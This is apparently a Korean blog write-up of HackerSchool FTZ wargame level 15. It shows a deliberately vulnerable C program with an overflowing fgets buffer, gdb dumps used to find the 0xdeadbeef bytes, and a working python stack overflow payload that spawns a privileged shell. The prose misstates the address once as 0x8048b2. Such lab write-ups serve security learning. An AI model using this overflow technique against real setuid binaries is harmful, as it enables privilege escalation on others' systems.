System
[HackerSchool_FTZ] level 15
gayeon_
2023. 11. 29. 22:02
#include <stdio.h>
main()
{ int crap;
int *check;
char buf[20];
fgets(buf,45,stdin);
if (*check==0xdeadbeef)
{
setreuid(3096,3096);
system("/bin/sh");
}
}
hint 파일이다.
포인터(check)가 있다. check가 가리키는 곳과 0xdeadbeef의 주소가 일치해야 한다.
gdb로 분석해봤다.
[level15@ftz level15]$ gdb -q attackme
(gdb) x/20x main
0x8048490 <main>: 0x83e58955 0xec8338ec 0x6435ff04 0x6a080496
0x80484a0 <main+16>: 0xc8458d2d 0xfeb6e850 0xc483ffff 0xf0458b10
0x80484b0 <main+32>: 0xbeef3881 0x2575dead 0x6808ec83 0x00000c18
0x80484c0 <main+48>: 0x000c1868 0xfeb6e800 0xc483ffff 0x0cec8310
0x80484d0 <main+64>: 0x04854868 0xfe66e808 0xc483ffff 0x90c3c910
(gdb) x/x 0x80484b0
0x80484b0 <main+32>: 0xbeef3881
(gdb) x/x 0x80484b1
0x80484b1 <main+33>: 0xadbeef38
(gdb) x/x 0x80484b2
0x80484b2 <main+34>: 0xdeadbeef
(gdb)
x/20x main: main 함수의 메모리 덤프를 출력하는 명령어. x는 examine의 약자로 메모리를 조사하는 명령어이다. 20x는 20개의 16진수 워드를 표시하라는 의미이다.
gdb 분석으로 0xdeadbeef의 주소를 알아냈다.: 0x8048b2
check를 0x8048b2로 덮어주면 된다.
스택 구조 확인 후 버퍼 오버플로우 공격을 해주면 된다.
(python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme
위 코드 실행 후 my-pass로 level16의 패스워드를 확인할 수 있다.
참고 자료
https://mandu-mandu.tistory.com/38
해커스쿨 FTZ [LEVEL15] 풀이
해커스쿨 FTZ [LEVEL15] 풀이M4ndU 해커스쿨 FTZ [LEVEL15] 풀이입니다. ID | level15PW | guess what 으로 로그인합니다. $ ls -l 를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고, $ cat hint 를 이용해 힌트를 확
mandu-mandu.tistory.com